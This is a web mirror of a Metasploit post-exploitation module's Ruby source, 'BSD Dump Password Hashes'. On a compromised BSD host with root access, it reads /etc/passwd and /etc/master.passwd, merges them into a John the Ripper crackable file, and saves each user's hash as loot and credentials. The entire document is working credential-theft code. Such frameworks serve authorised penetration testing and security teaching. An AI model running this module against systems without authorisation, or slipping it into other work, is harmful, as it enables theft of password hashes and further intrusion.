Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/bsd/gather/hashdump.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Linux::Priv
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'BSD Dump Password Hashes',
16
'Description' => %q{Post module to dump the password hashes for all users on a BSD system.},
17
'License' => MSF_LICENSE,
18
'Author' => ['bcoles'],
19
'Platform' => ['bsd'],
20
'SessionTypes' => ['shell', 'meterpreter'],
21
'Notes' => {
22
'Stability' => [CRASH_SAFE],
23
'SideEffects' => [],
24
'Reliability' => []
25
}
26
)
27
)
28
end
29
30
def run
31
unless is_root?
32
fail_with(Failure::NoAccess, 'You must run this module as root!')
33
end
34
35
passwd = read_file('/etc/passwd').to_s
36
unless passwd.blank?
37
p = store_loot('passwd', 'text/plain', session, passwd, 'passwd', 'BSD passwd file')
38
vprint_good("passwd saved in: #{p}")
39
end
40
41
master_passwd = read_file('/etc/master.passwd').to_s
42
unless master_passwd.blank?
43
p = store_loot('master.passwd', 'text/plain', session, master_passwd, 'master.passwd', 'BSD master.passwd file')
44
vprint_good("master.passwd saved in: #{p}")
45
end
46
47
# Unshadow passswords
48
john_file = unshadow(passwd, master_passwd)
49
return if john_file == ''
50
51
john_file.each_line do |l|
52
hash_parts = l.split(':')
53
jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
54
55
if jtr_format.empty? # overide the default
56
jtr_format = 'des,bsdi,sha512,crypt'
57
end
58
59
credential_data = {
60
jtr_format: jtr_format,
61
origin_type: :session,
62
post_reference_name: refname,
63
private_type: :nonreplayable_hash,
64
private_data: hash_parts[1],
65
session_id: session_db_id,
66
username: hash_parts[0],
67
workspace_id: myworkspace_id
68
}
69
70
create_credential(credential_data)
71
print_good(l.chomp)
72
end
73
74
p = store_loot('bsd.hashes', 'text/plain', session, john_file, 'unshadowed.passwd', 'BSD Unshadowed Password File')
75
print_good("Unshadowed Password File: #{p}")
76
end
77
78
def unshadow(pf, sf)
79
unshadowed = ''
80
81
sf.each_line do |sl|
82
pass = sl.scan(/^\w*:([^:]*)/).join
83
84
next if pass == '*'
85
next if pass == '!'
86
87
user = sl.scan(/(^\w*):/).join
88
pf.each_line do |pl|
89
next unless pl.match(/^#{user}:/)
90
91
unshadowed << pl.gsub(/:\*:/, ":#{pass}:")
92
end
93
end
94
95
unshadowed
96
end
97
end
98
99